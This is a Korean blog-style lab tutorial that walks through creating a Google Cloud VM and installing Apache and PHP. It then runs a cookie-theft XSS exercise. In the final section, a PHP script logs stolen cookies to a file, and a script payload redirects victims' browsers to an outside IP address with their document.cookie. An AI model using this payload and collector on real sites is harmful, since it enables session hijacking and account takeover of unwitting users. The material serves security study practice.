구글 클라우드 서비스 VM 생성부터 쿠키 탈취 실습까지

(1) 해당 1부에서 구글 클라우드 VM 만들기를 아주 자세하게 따라할 수있다.

 

https://opencourse.tistory.com/591?category=354408 

구글 클라우드 Google Cloud Platform(GCP) 프리티어 1부 - 평생 무료 서버(VM 인스턴스) 생성하기

 

 

(2) 3부에 마지막에 있는 방화벽 설정을 따라한다.

 

https://opencourse.tistory.com/596?category=354408 

구글 클라우드 Google Cloud Platform(GCP) 프리티어 3부 - Docker(도커)와 포테이너(Portainer) 설치하기

 

 

(3) SSH부분을 실행시킨다.

 

 

[아파치 서버 설치]

$ sudo apt-get update
$ sudo apt-get install apache2

[아파치 서버 실행]

$ sudo service apache2 start

 

 

기본 페이지가 뜨는 것을 확인한다.

 

[PHP 설치 연동]

 

$sudo apt install php php-mysql

#디렉토리 이동
cd /var/www/html
#파일 생성
(1) cat > file.php
(2) 내용 입력
<?php
phpinfo();
?>
(3)Ctrl + D 키 입력으로 종료

 

 

 

PHP기본 페이지 확인

 

[쿠키 탈취]

 

파일 참고 사이트: 함꼐 스터디하시는 분의 글에 도움을 많이 받았다.

 

https://hanuscrypto.tistory.com/83#comment6342979

Oracle Cloud : XSS(Cross-Site Scripting) 실습

 

cookie.php 빈cookie.txt 를 만들고 원하는 곳에 스크립트를 삽입한다.

# cookie.php
$cookie=$_GET[cookie];
$save_file=fopen("cookie.txt","a");
fwrite($save_file,$cookie); 
fclose($save_file);


# script
<script>document.location="http://34.145.83.227/cookie.php?cookie="+document.cookie;</script>

 

 

 

쿠키 탈취에 성공했다.